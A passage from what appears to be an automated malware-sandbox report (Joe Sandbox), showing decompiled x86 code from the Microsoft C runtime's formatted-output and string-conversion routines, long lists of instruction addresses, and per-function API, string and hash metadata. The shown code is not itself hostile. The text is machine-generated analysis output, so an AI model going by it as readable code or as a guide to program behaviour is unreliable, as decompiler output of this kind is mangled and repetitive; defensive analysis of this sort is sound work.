																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																}
															case 8:
																L24:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L27;
															case 9:
																L25:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L27;
															case 0xa:
																L23:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L27;
															case 0xb:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L27;
															case 0xc:
																L26:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L27;
															case 0xd:
																L27:
																goto L214;
														}
													} else {
														_t517 = 0;
														if(0 == 0) {
															 *(_t525 - 0x4dc) = 0;
														} else {
															 *(_t525 - 0x4dc) = 1;
														}
														 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
														if( *(_t525 - 0x46c) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t498 = L0041F590();
															_t527 = _t527 + 0x14;
															if(_t498 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t525 - 0x46c) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L0041F530(_t510))) = 0x16;
															E0041F2C0(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t525 - 0x4c8) = 0xffffffff;
															E0041EA10(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4c8);
															L225:
															return E004242B0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
														}
													}
												}
												L215:
												__eflags =  *(_t525 - 0x45c);
												if( *(_t525 - 0x45c) == 0) {
													L218:
													 *(_t525 - 0x4f8) = 1;
													L219:
													_t517 =  *(_t525 - 0x4f8);
													 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t488 = L0041F590();
														_t527 = _t527 + 0x14;
														__eflags = _t488 - 1;
														if(_t488 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) != 0) {
														 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
														E0041EA10(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d4);
													} else {
														 *((intOrPtr*)(L0041F530(_t502))) = 0x16;
														E0041F2C0(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t525 - 0x4d0) = 0xffffffff;
														E0041EA10(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t525 - 0x45c) - 7;
												if( *(_t525 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t525 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L186:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L187;
										}
										L185:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L187;
										}
										goto L186;
									}
									L180:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E0042F370( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E0042F300( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									goto L179;
								}
							}
							L165:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L167;
							}
							goto L166;
							L167:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L168;
						}
					}
				}
			}

0x00421779
0x00421779
0x00421779
0x00421779
0x00421783
0x00421783
0x00421783
0x0042178d
0x0042178d
0x00421793
0x00421795
0x0042179a
0x004217a4
0x004217a4
0x004217a7
0x004217ab
0x004217ab
0x004217d2
0x004217d2
0x004217d5
0x004217d5
0x004217da
0x004217fc
0x004217fc
0x00421802
0x00421824
0x00421824
0x00421827
0x0042186e
0x0042186e
0x00421871
0x0042188e
0x00421892
0x0042189a
0x0042189a
0x0042189c
0x004218a2
0x00421873
0x00421873
0x00421877
0x0042187f
0x00421880
0x00421886
0x00421886
0x00421829
0x0042182c
0x0042182c
0x0042182f
0x0042184d
0x00421859
0x0042185c
0x0042185d
0x00421863
0x00421831
0x00421831
0x00421835
0x0042183d
0x0042183e
0x0042183f
0x00421845
0x00421845
0x00421869
0x00421804
0x00421804
0x00421810
0x00421816
0x00421816
0x004217dc
0x004217dc
0x004217e8
0x004217ee
0x004217ee
0x004218ab
0x004218ab
0x004218ae
0x00000000
0x00000000
0x004218b0
0x004218b0
0x004218b7
0x00000000
0x00000000
0x004218b9
0x004218b9
0x004218c4
0x004218ca
0x004218cc
0x004218d2
0x004218d5
0x004218d7
0x004218dd
0x004218e6
0x004218eb
0x00421908
0x0042190b
0x0042190b
0x00421910
0x00421915
0x00421915
0x0042191b
0x0042191d
0x00421923
0x00421929
0x00421929
0x00421932
0x00421932
0x0042191b
0x00421938
0x0042193c
0x0042194a
0x0042194d
0x00421950
0x00421957
0x00421959
0x00421959
0x0042193e
0x0042193e
0x0042193e
0x00421966
0x00421966
0x0042196c
0x0042196e
0x0042196e
0x00421975
0x0042197b
0x0042197e
0x0042197e
0x0042197e
0x00421984
0x00421987
0x0042198a
0x0042198c
0x00000000
0x00000000
0x0042198e
0x00421994
0x00421994
0x0042199a
0x00421a17
0x00421a1d
0x00421a20
0x00421a23
0x00421a26
0x00421a29
0x00421a2f
0x00421a2f
0x00421a35
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00421a6a
0x00421a6d
0x00421a6d
0x00421a70
0x00421a75
0x00421a75
0x00421a7a
0x00421a91
0x00421a91
0x00421a94
0x00421aab
0x00421aab
0x00421aae
0x00421ab0
0x00421ab5
0x00421ab9
0x00421ab9
0x00421a96
0x00421a96
0x00421a9b
0x00421a9f
0x00421a9f
0x00421a7c
0x00421a7c
0x00421a81
0x00421a85
0x00421a85
0x00421a7a
0x00421ac3
0x00421ac6
0x00421ac9
0x00421ad2
0x00421ad2
0x00421ad5
0x00421ad7
0x00421ade
0x00421ae2
0x00421aeb
0x00421af0
0x00421af3
0x00421afa
0x00421afe
0x00421b02
0x00421b0e
0x00421b11
0x00421b11
0x00421b14
0x00421b19
0x00421b19
0x00421b1c
0x00421b1e
0x00421b25
0x00421b29
0x00421b32
0x00421b37
0x00421b1c
0x00421b3a
0x00421b3e
0x00421bf8
0x00421bf8
0x00421bff
0x00421c03
0x00421c07
0x00421c0b
0x00000000
0x00421b44
0x00421b44
0x00421b44
0x00421b48
0x00000000
0x00000000
0x00421b4e
0x00421b4e
0x00421b51
0x00421b57
0x00421b5a
0x00421b60
0x00421b60
0x00421b60
0x00421b6c
0x00421b6f
0x00421b75
0x00421b77
0x00000000
0x00000000
0x00421b79
0x00421b79
0x00421b7c
0x00421b82
0x00421b8a
0x00421b8c
0x00421b93
0x00421b9a
0x00421ba9
0x00421baf
0x00421bb6
0x00421bc4
0x00421bc4
0x00421bcb
0x00421bd7
0x00421be5
0x00421beb
0x00000000
0x00421beb
0x00421bb8
0x00421bb8
0x00000000
0x00421bb8
0x00421bf6
0x00421c13
0x00421c13
0x00421c1a
0x00421c1f
0x00421c1f
0x00421c22
0x00421c24
0x00421c2b
0x00421c38
0x00421c3d
0x00421c22
0x00421c1a
0x00421c40
0x00421c40
0x00421c44
0x00421c48
0x00421c4c
0x00421c54
0x00421c54
0x00421c5b
0x00421c5b
0x00420ddb
0x00420de2
0x00420def
0x00420df4
0x00000000
0x00420e07
0x00420e11
0x00420e38
0x00420e1f
0x00420e30
0x00420e30
0x00420e11
0x00420e42
0x00420e48
0x00420e54
0x00420e57
0x00420e65
0x00420e68
0x00420e75
0x00420f1a
0x00420f20
0x00420f26
0x00420f2d
0x00000000
0x00000000
0x00420f33
0x00420f39
0x00000000
0x00420f40
0x00420f40
0x00420f5a
0x00420f5f
0x00000000
0x00000000
0x00420f67
0x00420f67
0x00420f6e
0x00420f71
0x00420f74
0x00420f77
0x00420f7a
0x00420f7d
0x00420f80
0x00420f87
0x00420f8e
0x00000000
0x00000000
0x00420f9a
0x00420f9a
0x00420fa1
0x00420fad
0x00420fb0
0x00420fb6
0x00420fbd
0x00000000
0x00000000
0x00420fbf
0x00420fc5
0x00420fc5
0x00420fcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421010
0x00421010
0x00421017
0x0042101a
0x00421044
0x00421047
0x00421047
0x00421051
0x00421051
0x00421055
0x0042101c
0x0042101c
0x00421028
0x0042102b
0x0042102f
0x00421031
0x00421034
0x00421034
0x00421037
0x0042103a
0x0042103d
0x0042103f
0x0042103f
0x00421042
0x00421058
0x00000000
0x00000000
0x0042105d
0x0042105d
0x00000000
0x00000000
0x00421069
0x00421069
0x00421070
0x00421073
0x00421093
0x00421096
0x00421096
0x004210a0
0x004210a0
0x004210a4
0x00421075
0x00421075
0x00421081
0x00421084
0x00421088
0x0042108a
0x0042108a
0x00421091
0x00000000
0x00000000
0x004210ac
0x004210ac
0x004210b3
0x004210bf
0x004210c2
0x004210c8
0x004210cf
0x004211e2
0x00000000
0x004211e2
0x004210d5
0x004210db
0x004210db
0x004210e2
0x00000000
0x00421119
0x00421119
0x0042111c
0x0042111f
0x00421122
0x00421149
0x00421149
0x0042114c
0x0042114f
0x00421152
0x00421176
0x00421176
0x00421179
0x0042117c
0x0042117f
0x004211b8
0x004211c9
0x00000000
0x004211c9
0x00421181
0x00421181
0x00421184
0x00421187
0x0042118a
0x00000000
0x00000000
0x0042118c
0x0042118c
0x0042118f
0x00421192
0x00421195
0x00000000
0x00000000
0x00421197
0x00421197
0x0042119a
0x0042119d
0x004211a0
0x00000000
0x00000000
0x004211a2
0x004211a2
0x004211a5
0x004211a8
0x004211ab
0x00000000
0x00000000
0x004211ad
0x004211ad
0x004211b0
0x004211b3
0x004211b6
0x004211ba
0x00000000
0x004211ba
0x00000000
0x004211b6
0x00421154
0x00421154
0x00421157
0x0042115b
0x0042115e
0x00000000
0x00421160
0x00421163
0x00421166
0x0042116c
0x00421171
0x00000000
0x00421171
0x0042115e
0x00421124
0x00421124
0x00421127
0x0042112b
0x0042112e
0x00000000
0x00421130
0x00421133
0x00421136
0x0042113c
0x00421141
0x00000000
0x00421141
0x00000000
0x004211cb
0x004211cb
0x004211ce
0x004211d1
0x00000000
0x00000000
0x004210e9
0x004210e9
0x004210ec
0x004210ef
0x004210f2
0x0042110b
0x0042110e
0x0042110e
0x00421111
0x004210f4
0x004210f4
0x004210f7
0x004210fa
0x00421100
0x00421106
0x00421106
0x00000000
0x00000000
0x004211d6
0x004211d6
0x004211d9
0x004211d9
0x004211df
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004211e7
0x004211e7
0x004211ee
0x004211f4
0x004211fa
0x004211fd
0x00421203
0x0042120a
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00421a60
0x00421210
0x00421216
0x00421216
0x0042121d
0x00000000
0x004215a1
0x004215a1
0x004215af
0x004215af
0x004215b2
0x00000000
0x00000000
0x00421224
0x00421227
0x00421227
0x0042122d
0x0042122f
0x00421232
0x00421232
0x00421235
0x00421235
0x00000000
0x00000000
0x0042136a
0x0042136d
0x0042136d
0x00421372
0x00421374
0x00421377
0x00421377
0x0042137a
0x0042137a
0x00000000
0x00000000
0x0042176d
0x0042176d
0x00421783
0x00421783
0x0042178d
0x0042178d
0x00421793
0x00421795
0x0042179a
0x004217a4
0x004217a4
0x004217a7
0x004217ab
0x004217ab
0x00000000
0x00000000
0x004212d4
0x004212d4
0x004212e0
0x004212e6
0x004212ed
0x004212fb
0x004212fb
0x00421301
0x00421304
0x00421310
0x00421365
0x00000000
0x00421365
0x004212ef
0x004212ef
0x004212f5
0x004212f9
0x00421318
0x00421318
0x0042131e
0x00421346
0x0042134d
0x00421353
0x00421356
0x00421359
0x0042135f
0x00421362
0x00421320
0x00421320
0x00421326
0x00421329
0x0042132c
0x00421332
0x00421335
0x00421338
0x0042133a
0x0042133d
0x0042133d
0x00000000
0x0042131e
0x00000000
0x00000000
0x004215b9
0x004215bc
0x004215bf
0x004215c2
0x004215c8
0x004215cb
0x004215d2
0x004215d6
0x004215e1
0x004215e1
0x004215e5
0x004215fc
0x004215fc
0x00421603
0x00421605
0x00421605
0x0042160c
0x0042160c
0x00421613
0x00421621
0x00421624
0x00421633
0x00421636
0x0042163a
0x0042164f
0x0042163c
0x0042163c
0x0042163f
0x00421645
0x0042164a
0x0042164a
0x0042163a
0x00421659
0x0042165c
0x0042165f
0x00421662
0x00421665
0x00421668
0x0042166e
0x00421674
0x0042167c
0x0042167d
0x00421680
0x00421681
0x00421684
0x00421685
0x0042168c
0x0042168d
0x00421690
0x00421691
0x00421694
0x00421695
0x0042169b
0x0042169c
0x004216ab
0x004216ad
0x004216b3
0x004216b3
0x004216b8
0x004216ba
0x004216be
0x004216c0
0x004216c8
0x004216c9
0x004216cc
0x004216cd
0x004216dc
0x004216de
0x004216de
0x004216be
0x004216e1
0x004216e8
0x004216eb
0x004216f0
0x004216f0
0x004216f6
0x004216f8
0x00421700
0x00421701
0x00421704
0x00421705
0x00421713
0x00421715
0x00421715
0x004216f6
0x00421718
0x0042171b
0x0042171e
0x00421721
0x00421726
0x0042172b
0x0042172e
0x00421731
0x00421731
0x00421734
0x00421734
0x00421737
0x00421743
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00000000
0x00421a60
0x004215e7
0x004215e7
0x004215ee
0x004215f1
0x00000000
0x00000000
0x004215f3
0x004215f3
0x00000000
0x004215f3
0x004215d8
0x004215d8
0x00000000
0x00000000
0x00421238
0x00421238
0x00421243
0x0042124b
0x00421252
0x00421255
0x00421255
0x00421258
0x004212b1
0x004212b8
0x0042125a
0x00421261
0x00421267
0x0042126d
0x00421274
0x00421277
0x0042127d
0x00421285
0x00421287
0x0042128e
0x00421295
0x0042129c
0x004212a4
0x004212a6
0x004212a8
0x004212a8
0x004212af
0x004212bf
0x004212c5
0x004212c8
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00000000
0x0042174b
0x0042174e
0x00421751
0x00421754
0x004217d2
0x004217d5
0x004217d5
0x004217da
0x004217fc
0x004217fc
0x00421802
0x00421824
0x00421824
0x00421827
0x0042186e
0x0042186e
0x00421871
0x0042188e
0x00421892
0x0042189a
0x0042189a
0x0042189c
0x004218a2
0x00421873
0x00421873
0x00421877
0x0042187f
0x00421880
0x00421886
0x00421886
0x00421829
0x0042182c
0x0042182c
0x0042182f
0x0042184d
0x00421859
0x0042185c
0x0042185d
0x00421863
0x00421831
0x00421831
0x00421835
0x0042183d
0x0042183e
0x0042183f
0x00421845
0x00421845
0x00421869
0x00421804
0x00421804
0x00421810
0x00421816
0x00421816
0x004217dc
0x004217dc
0x004217e8
0x004217ee
0x004217ee
0x004218ab
0x004218ab
0x004218ae
0x00000000
0x00000000
0x00000000
0x004214aa
0x004214aa
0x004214b6
0x004214bc
0x004214c1
0x004214c3
0x0042156d
0x0042156d
0x00421570
0x00421570
0x00421573
0x00421587
0x0042158d
0x00421593
0x00421575
0x00421575
0x0042157b
0x00421582
0x00421582
0x00421595
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00421a60
0x004214c9
0x004214c9
0x004214c9
0x004214cb
0x004214d9
0x004214cd
0x004214cd
0x004214cd
0x004214e3
0x004214e9
0x004214ef
0x004214f6
0x004214f8
0x004214fd
0x004214ff
0x00421504
0x00421509
0x0042150b
0x00421510
0x00421513
0x00421516
0x00421518
0x00421518
0x00421516
0x00421519
0x00421520
0x00421568
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00421522
0x00421522
0x00421527
0x00421543
0x0042154b
0x00421555
0x00421558
0x0042155d
0x00000000
0x0042155d
0x00000000
0x004217b4
0x004217b4
0x004217be
0x004217be
0x004217c4
0x004217c6
0x004217c9
0x004217c9
0x004217cf
0x004217cf
0x004217d2
0x004217d2
0x004217d5
0x004217d5
0x004217da
0x004217fc
0x004217fc
0x00421802
0x00421824
0x00421824
0x00421827
0x0042186e
0x0042186e
0x00421871
0x0042188e
0x00421892
0x0042189a
0x0042189a
0x0042189c
0x004218a2
0x00421873
0x00421873
0x00421877
0x0042187f
0x00421880
0x00421886
0x00421886
0x00421829
0x0042182c
0x0042182c
0x0042182f
0x0042184d
0x00421859
0x0042185c
0x0042185d
0x00421863
0x00421831
0x00421831
0x00421835
0x0042183d
0x0042183e
0x0042183f
0x00421845
0x00421845
0x00421869
0x00421804
0x00421804
0x00421810
0x00421816
0x00421816
0x004217dc
0x004217dc
0x004217e8
0x004217ee
0x004217ee
0x004218ab
0x004218ab
0x004218ae
0x00000000
0x00000000
0x00000000
0x004218ae
0x00000000
0x00421766
0x00421766
0x00000000
0x00000000
0x0042137d
0x0042137d
0x00421381
0x0042138f
0x00421392
0x00421383
0x00421383
0x00421383
0x00421398
0x0042139e
0x004213a4
0x004213b0
0x004213b6
0x004213b6
0x004213b9
0x00421441
0x00421441
0x00421445
0x00421447
0x0042144d
0x0042144d
0x00421450
0x00421457
0x0042145a
0x00421460
0x00421460
0x00421460
0x00421466
0x0042146c
0x0042146f
0x00421475
0x00421477
0x00000000
0x00000000
0x00421479
0x00421479
0x0042147f
0x00421482
0x00421484
0x00000000
0x00000000
0x00421486
0x0042148c
0x0042148f
0x0042148f
0x00421497
0x00421497
0x0042149d
0x0042149d
0x004214a2
0x00000000
0x004213bf
0x004213bf
0x004213bf
0x004213c3
0x004213c5
0x004213ca
0x004213ca
0x004213cd
0x004213d0
0x004213d6
0x004213e8
0x004213e8
0x004213e8
0x004213eb
0x004213f1
0x00000000
0x00000000
0x004213f3
0x004213f3
0x004213f9
0x004213fc
0x004213fe
0x00000000
0x00000000
0x00421400
0x00421400
0x00421409
0x0042140f
0x00421413
0x0042141b
0x0042141d
0x0042141f
0x00421425
0x00421425
0x00421428
0x00421428
0x00421434
0x00421437
0x004213df
0x004213e2
0x004213e2
0x004213e5
0x004213e5
0x0042143f
0x004214a5
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00421a60
0x00000000
0x0042175d
0x0042175d
0x004217d2
0x004217d2
0x004217d5
0x004217d5
0x004217da
0x004217fc
0x004217fc
0x00421802
0x00421824
0x00421824
0x00421827
0x0042186e
0x0042186e
0x00421871
0x0042188e
0x00421892
0x0042189a
0x0042189a
0x0042189c
0x004218a2
0x00421873
0x00421873
0x00421877
0x0042187f
0x00421880
0x00421886
0x00421886
0x00421829
0x0042182c
0x0042182c
0x0042182f
0x0042184d
0x00421859
0x0042185c
0x0042185d
0x00421863
0x00421831
0x00421831
0x00421835
0x0042183d
0x0042183e
0x0042183f
0x00421845
0x00421845
0x00421869
0x00421804
0x00421804
0x00421810
0x00421816
0x00421816
0x004217dc
0x004217dc
0x004217e8
0x004217ee
0x004217ee
0x004218ab
0x004218ab
0x004218ae
0x00000000
0x00000000
0x00000000
0x004218ae
0x00000000
0x00000000
0x00000000
0x00421a60
0x00421a60
0x00421a60
0x00421a64
0x00000000
0x00000000
0x00000000
0x00421a64
0x00000000
0x00000000
0x00420fe9
0x00420fe9
0x00420fec
0x00420fef
0x00000000
0x00000000
0x00420ff4
0x00420ff7
0x00420ffd
0x00000000
0x00000000
0x00420fde
0x00420fe1
0x00420fe4
0x00000000
0x00000000
0x00420fd3
0x00420fd6
0x00420fd9
0x00000000
0x00000000
0x00421002
0x00421002
0x00421005
0x00421005
0x00421008
0x00000000
0x00000000
0x0042100b
0x00000000
0x00000000
0x00420e7b
0x00420e7b
0x00420e7d
0x00420e8b
0x00420e7f
0x00420e7f
0x00420e7f
0x00420e9b
0x00420ea8
0x00420eaa
0x00420eaf
0x00420eb1
0x00420eb6
0x00420ebb
0x00420ebd
0x00420ec2
0x00420ec8
0x00420eca
0x00420eca
0x00420ec8
0x00420ecb
0x00420ed2
0x00000000
0x00420ed4
0x00420ed9
0x00420ef5
0x00420efd
0x00420f0a
0x00420f0f
0x00421d24
0x00421d31
0x00421d31
0x00420ed2
0x00420e75
0x00421c60
0x00421c60
0x00421c67
0x00421c7e
0x00421c7e
0x00421c88
0x00421c88
0x00421c8e
0x00421c94
0x00421c9b
0x00421c9d
0x00421ca2
0x00421ca4
0x00421ca9
0x00421cae
0x00421cb0
0x00421cb5
0x00421cb8
0x00421cbb
0x00421cbd
0x00421cbd
0x00421cbb
0x00421cbe
0x00421cc5
0x00421d10
0x00421d19
0x00421d1e
0x00421cc7
0x00421ccc
0x00421ce8
0x00421cf0
0x00421cfd
0x00421d02
0x00421d02
0x00000000
0x00421cc5
0x00421c69
0x00421c69
0x00421c70
0x00000000
0x00000000
0x00421c72
0x00421c72
0x00000000
0x00421c72
0x00421a60
0x00421a37
0x00421a37
0x00421a3b
0x00421a48
0x00421a4b
0x00421a4e
0x00421a51
0x00421a54
0x00421a57
0x00421a5a
0x00421a5a
0x00421a5d
0x00000000
0x00421a5d
0x00421a3d
0x00421a3d
0x00421a40
0x00421a43
0x00421a46
0x00000000
0x00000000
0x00000000
0x00421a46
0x0042199c
0x0042199c
0x0042199f
0x004219a2
0x004219a9
0x004219b0
0x004219b8
0x004219be
0x004219c1
0x004219c4
0x004219cb
0x004219d7
0x004219dd
0x004219e3
0x004219ea
0x004219ec
0x004219f2
0x004219f2
0x004219f8
0x004219f8
0x004219fe
0x00421a07
0x00421a0c
0x00421a0f
0x0042197e
0x0042197e
0x00421984
0x00421987
0x0042198a
0x0042198c
0x00000000
0x00000000
0x00000000
0x0042198c
0x0042197e
0x004218bb
0x004218bb
0x004218c2
0x00000000
0x00000000
0x00000000
0x004218f0
0x004218f0
0x004218f6
0x004218fc
0x00421902
0x00000000
0x00421902
0x004217d2
0x00421783

APIs

_get_int64_arg.LIBCMTD ref: 004217E0
__aullrem.LIBCMT ref: 004219B0
__aulldiv.LIBCMT ref: 004219D2

Strings

9, xrefs: 004219E3
', xrefs: 00421779

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: fb44c976c42239b606d4c3a345b38cad96f8b836ad3762147f2476c28668d23f
Instruction ID: ea6964a1bec4f3206dd03a8b54a5d64ca40ac62008eddb973855a0635f5cff19
Opcode Fuzzy Hash: fb44c976c42239b606d4c3a345b38cad96f8b836ad3762147f2476c28668d23f
Instruction Fuzzy Hash: 9D4146F0E002299FDB24CF48D881BAEB7B5FF95314F9041AAD148AB251C3785E81CF09

Uniqueness

Uniqueness Score: -1.00%

Function 00425F4A, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00425F98
_isxdigit.LIBCMTD ref: 00425FD0
__hextodec.LIBCMTD ref: 00426003

Strings

+, xrefs: 00425F63
p, xrefs: 00425FC2

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __hextodec__inc_isxdigit
String ID: +$p
API String ID: 3003077261-1790238857
Opcode ID: cd7feec6c640144fc326d2f11536e0f014bed1c2db11f21bb7bd413cff23bf36
Instruction ID: 9a060649addae45331d7ba05fd05947aa6aaa6a9b7619ba6957fdcc1e628aeb7
Opcode Fuzzy Hash: cd7feec6c640144fc326d2f11536e0f014bed1c2db11f21bb7bd413cff23bf36
Instruction Fuzzy Hash: 9D317A70E4427A8BDF24CFA9EA447FEBB70AF14308F5580EAD45966202D2395A81DF49

Uniqueness

Uniqueness Score: -1.00%

Function 00435E13, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00435E60
__invalid_parameter.LIBCMTD ref: 00435EED

Strings

bufferSize <= INT_MAX, xrefs: 00435EA5, 00435EE8
_wcstombs_s_l, xrefs: 00435EE3
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00435EB1, 00435EDE

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 3272a3d1fa13194d788d238cdb9f2e9fe38926f239a3e91186e6d53cad4886d4
Instruction ID: 1c4946c13ac345941ae53c62ef8e58b8f97ec61a6598905d5ea09994e061107e
Opcode Fuzzy Hash: 3272a3d1fa13194d788d238cdb9f2e9fe38926f239a3e91186e6d53cad4886d4
Instruction Fuzzy Hash: 0D21B030A00349DBCF24CF58CC42BAE77B1BB18714F24462FE8242A3C0D7799A81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004204A7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

